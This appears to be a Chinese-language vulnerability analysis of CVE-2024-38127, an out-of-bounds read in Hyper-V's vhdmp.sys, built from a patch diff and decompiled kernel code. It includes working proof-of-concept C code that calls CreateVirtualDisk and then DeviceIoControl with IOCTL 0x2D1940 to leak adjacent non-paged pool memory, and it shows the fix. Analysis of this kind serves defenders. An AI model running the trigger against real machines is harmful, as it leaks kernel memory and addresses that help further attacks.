描述
CVE-2024-38127 是发生在 Hyper-V 中的权限提升(EoP)漏洞,成功利用此漏洞的攻击者可以获得 SYSTEM 权限。然而,正如在 Weakness(CWE-126)中所看到的那样,触发的漏洞是 OOB(越界)读取,从 Microsoft 公开的信息来看,这似乎并不是真正可以实现 EoP 的漏洞。
patch diff
补丁差异分析使用了 Windows 11 22H2 环境中 2024 年 7 月(KB5040442)与 2024 年 8 月(KB5041585)补丁的对比。此次仍然通过 Patch-V 提取相关二进制文件并进行补丁对比,和之前的 CVE-2024-38080 一样,这次也是可以获取 SYSTEM 权限的 EoP 漏洞,因此我们重点对内核驱动(.sys)进行了差异分析。
漏洞
该漏洞发生在 vhdmp.sys 文件中,正如其名称(Virtual Hard Disk Mini Port)所示,它与虚拟硬盘有关。下面是漏洞所在的 VhdmpiQueryMetaData
函数。
VhdmpiQueryMetaData
(vhdmp.sys 10.0.22621.3672)
__int64 __fastcall VhdmpiQueryMetadata(
struct _VHD_HANDLE_CONTEXT *a1,
struct _VHD_VIRTUAL_DISK *a2,
unsigned int a3,
__int64 SystemBuffer,
unsigned int *OutputBufferLengthPtr)
{
...
v5 = *((_QWORD *)a2 + 18);
v41 = 0;
VhdmpiAcquirePassiveLock(v5 + 1120);
if ( !SystemBuffer )
goto LABEL_86;
v10 = OutputBufferLengthPtr;
if ( !OutputBufferLengthPtr )
goto LABEL_86;
OutputBufferLength = *OutputBufferLengthPtr;
v12 = 32;
if ( *OutputBufferLengthPtr < 0x20 )
goto LABEL_86;
*(_OWORD *)SystemBuffer = 0i64;
*(_OWORD *)(SystemBuffer + 16) = 0i64;
v13 = *(_QWORD *)v5;
if ( *(char ***)v5 != &IsoParser )
{
if ( a3 > 0x3E8 )
goto LABEL_86;
if ( a3 == 1000 )
{
*(_DWORD *)SystemBuffer = 1000;
VhdmpiVirtualDiskToInstanceId((__int64)a2, (_OWORD *)(SystemBuffer + 8));
goto LABEL_18;
}
if ( a3 <= 8 )
{
...
if ( a3 )
{
if ( a3 == 1 )
{
*(_DWORD *)SystemBuffer = 1;
(*(void (__fastcall **)(__int64, __int64))(*(_QWORD *)v5 + 216i64))(v5, SystemBuffer + 8);
goto LABEL_25;
}
if ( a3 != 2 )
{
switch ( a3 )
{
...
case 5u: //[1]
v24 = *(unsigned __int16 *)(v5 + 88);
*(_DWORD *)SystemBuffer = 5;
LABEL_54:
OutputLength = v24 + 0x22;//[2]
if ( OutputBufferLength >= (int)v24 + 0x22 )
{
*(_DWORD *)(SystemBuffer + 12) = v24 + 2;
v26 = (void *)(SystemBuffer + 16);
*(_BYTE *)(SystemBuffer + 8) = 1;
v27 = v24;
memmove(v26, *(const void **)(v5 + 96), v24);//[3]
*((_WORD *)v26 + (v27 >> 1)) = 0;
}
*v10 = OutputLength;//[4], v10 == OutputBufferLengthPtr
goto LABEL_26;
...
}
...
}
该函数顾名思义是用于查询虚拟硬盘的元数据,并且可以通过 DeviceIoControl
调用。函数的第三个参数 a3
是系统缓冲区的前 4 个字节,该值用于 if
语句或 switch-case
中,决定特定操作(如查询何种元数据)。函数的第四个参数 SystemBuffer
是 IRP 的系统缓冲区,元数据将复制到此缓冲区并返回给用户模式进程。最后,函数的第五个参数 OutputBufferLengthPtr
用于指定将从 IRP 的系统缓冲区(内核空间)复制到用户空间缓冲区的数据长度。
漏洞出现在 a3
值为 5 时执行的 [1] 处。在该分支中,首先在 [2] 处计算元数据的长度并存储在 OutputLength
变量中。随后比较系统缓冲区的大小(OutputBufferLength
)与元数据的长度(OutputLength
)。如果系统缓冲区的大小较小,则不会进入 if
语句内部,也不会调用用于数据复制的 memmove
([3])。但即便如此,系统缓冲区的大小仍会在 [4] 处被设定为元数据的长度(OutputLength
),这导致当数据从系统缓冲区复制到用户缓冲区时,可能会发生越界读取(OOB Read),从而读取系统缓冲区旁的 non-paged pool 内存。
POC
导致漏洞的 VhdmpiQueryMetaData
函数在下方的 VhdmpiGetMetaInformation
函数中被调用。此外,从[4]可以看出,OutputBufferLength
的值被存储在 irp→IoStatus.Information
中,如漏洞描述中提到的那样,这会导致OOB读取。
__int64 __fastcall VhdmpiGetMetaInformation(struct _VHD_HANDLE_CONTEXT *a1, struct _IRP *irp)
{
...
v6 = VhdmpiValidateMetadataAccessForHandle(a1, 1);
if ( v6 >= 0 )
{
...
else
{
SystemBuffer = (unsigned int *)irp->AssociatedIrp.SystemBuffer;
OutputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
v6 = VhdmpiQueryMetadata(
a1,
(struct _VHD_VIRTUAL_DISK *)v7,
*SystemBuffer,
(__int64)SystemBuffer,
&OutputBufferLength);
if ( v6 < 0 )
{
...
}
else
{
v6 = 0;
irp->IoStatus.Information = OutputBufferLength;//[4]
}
}
VhdmpiReleasePassiveLockShared(v8);
}
if ( v6 < 0 )
goto LABEL_15;
return (unsigned int)v6;
}
上述函数在 VhdmpiIsoControlObjectDeviceControlHandler
函数或者下方的 VhdmpiVhdControlObjectDeviceControlHandler
函数中被调用,而在 VhdmpiVhdControlObjectDeviceControlHandler
中,当 IoControlCode 为 0x2D1940 时,它被调用。
__int64 __fastcall VhdmpiVhdControlObjectDeviceControlHandler(struct _VHD_HANDLE_CONTEXT *a1, struct _IRP *irp)
{
CurrentStackLocation = irp->Tail.Overlay.CurrentStackLocation;
IoControlCode = CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
if ( !*((_QWORD *)a1 + 38) )
goto LABEL_3;
v21 = *((_DWORD *)a1 + 1);
if ( (v21 & 4) != 0 )
{
if ( IoControlCode == 0x2D1A54 )
goto LABEL_217;
LABEL_38:
InternalScsiAddress = -1073741811;
goto LABEL_16;
}
if ( (v21 & 0x800) != 0 )
{
...
}
if ( IoControlCode <= 0x2D19C6 )
{
...
else
{
if ( IoControlCode == 0x2D197C )
goto LABEL_146;
if ( IoControlCode == 0x41018
|| IoControlCode == 0x2D191C
|| IoControlCode == 2955552
|| IoControlCode == 2955568
|| IoControlCode == 2955572
|| IoControlCode == 2955584
|| IoControlCode == 2955588
|| IoControlCode == 2955592
|| IoControlCode == 2955600 )
{
LABEL_18:
if ( IoControlCode <= 0x2D1960 )
{
if ( IoControlCode != 0x2D1960 )
{
if ( IoControlCode <= 0x2D1944 )
{
if ( IoControlCode != 0x2D1944 )
{
v15 = IoControlCode - 0x41018;
if ( !v15 )
{
...
v16 = v15 - 0x290904;
if ( !v16 ) // IoControlCode == 0x2d191c
{
...
}
v17 = v16 - 4;
if ( !v17 ) // IoControlCode == 0x2d1918
{
...
}
v18 = v17 - 4;
if ( v18 ) // IoControlCode != 0x2d1914
{
v19 = v18 - 0xC;
if ( v19 )
{
v20 = v19 - 4;
if ( v20 )
{
if ( v20 == 0xC ) // IoControlCode == 0x2D1940
// 调用 VhdmpiGetMetaInformation -> VhdmpiQueryMetadata
{
InternalScsiAddress = VhdmpiGetMetaInformation(a1, irp);
if ( InternalScsiAddress >= 0 )
goto LABEL_14;
if ( (unsigned int)dword_1C0082048 <= 2 || !tlgKeywordOn((__int64)&dword_1C0082048, 4LL) )
goto LABEL_16;
v22 = 4309;
pszFormat = "VhdmpiVhdControlObjectDeviceControlHandler: query virtual disk metadata request failed (0x%08x)";
goto LABEL_91;
}
goto LABEL_227;
}
...
}
}
...
}
现在已经找到了触发漏洞的 IoControlCode,接下来就是调用 DeviceIoControl
。DeviceIoControl
使用的是通过 VirtDisk.h
中定义的 OpenVirtualDisk
或 CreateVirtualDisk
函数获取的虚拟硬盘的 HANDLE。
下面是调用 CreateVirtualDisk
创建虚拟硬盘的代码。
DWORD status = 0;
PWCHAR VhdxPath = VHDX_PATH;
HANDLE Vhdx = NULL;
GUID uniqueId;
UuidCreate(&uniqueId);
VIRTUAL_STORAGE_TYPE VStorType = { 0, };
CREATE_VIRTUAL_DISK_PARAMETERS CreateParam = {
.Version = CREATE_VIRTUAL_DISK_VERSION_2,
.Version2 = {
.UniqueId = uniqueId,
.MaximumSize = 1073741824,//1GB
.BlockSizeInBytes = 0,
.SectorSizeInBytes = 512,
.PhysicalSectorSizeInBytes = 512,
.ParentPath = NULL
},
};
ULONG SizeUsed = 0;
VStorType.DeviceId = VIRTUAL_STORAGE_TYPE_DEVICE_UNKNOWN;
status = CreateVirtualDisk(
&VStorType,
VhdxPath,
VIRTUAL_DISK_ACCESS_NONE,
NULL,
CREATE_VIRTUAL_DISK_FLAG_FULL_PHYSICAL_ALLOCATION,
0,
&CreateParam,
NULL,
&Vhdx
);
之后,使用获得的 HANDLE
调用 DeviceIoControl
来触发漏洞。
DWORD InBuffer = 5;
status = DeviceIoControl(
Vhdx,
0x2d1940,
&InBuffer,
4,
OutBuffer,
0x20,
NULL,
NULL);
在上面的代码中,DeviceIoControl
的 nOutBufferSize
参数使用了 0x20,但实际使用的数据超过了这个大小,因此需要分配足够大的内存。尽管 DeviceIoControl
调用失败,但数据会被正确复制,因此可以通过检查 OOB 读取的数据,看到像是 Non paged pool 内存的标签或内核内存地址的值。
上面的截图通过内核调试展示了系统缓冲区与邻近的非分页池内存中的数据,以及执行 poc 后 OOB 读取的数据相同。
补丁
此漏洞的补丁如下。
VhdmpiQueryMetaData
(vhdmp.sys 10.0.22621.4036)
case 5u:
v19 = *(unsigned __int16 *)(v5 + 88);
*(_DWORD *)SystemBuffer = 5;
LABEL_17:
if ( OutputBufferLength >= (int)v19 + 0x22 )
{
*(_BYTE *)(SystemBuffer + 8) = 1;
*(_DWORD *)(SystemBuffer + 12) = v19 + 2;
memmove((void *)(SystemBuffer + 16), *(const void **)(v5 + 96), v19);
*(_WORD *)(SystemBuffer + 16 + 2 * (v19 >> 1)) = 0;
}
else if ( (unsigned int)Feature_797274427__private_IsEnabledDeviceUsage() )//[1]
{
*(_DWORD *)(SystemBuffer + 12) = v19 + 2;
LABEL_22:
*v7 = v12;//[2]
v17 = 0;
goto LABEL_89;
}
v12 = v19 + 34;
与之前不同的是,[1] 处添加了 else if,若 OutputBuffer 的大小不足,[2] 处将输出大小设置为 0,从而防止 OOB 读取的发生。
演示
原文始发于微信公众号(3072):CVE-2024-38127 Hyper-V OOB read漏洞分析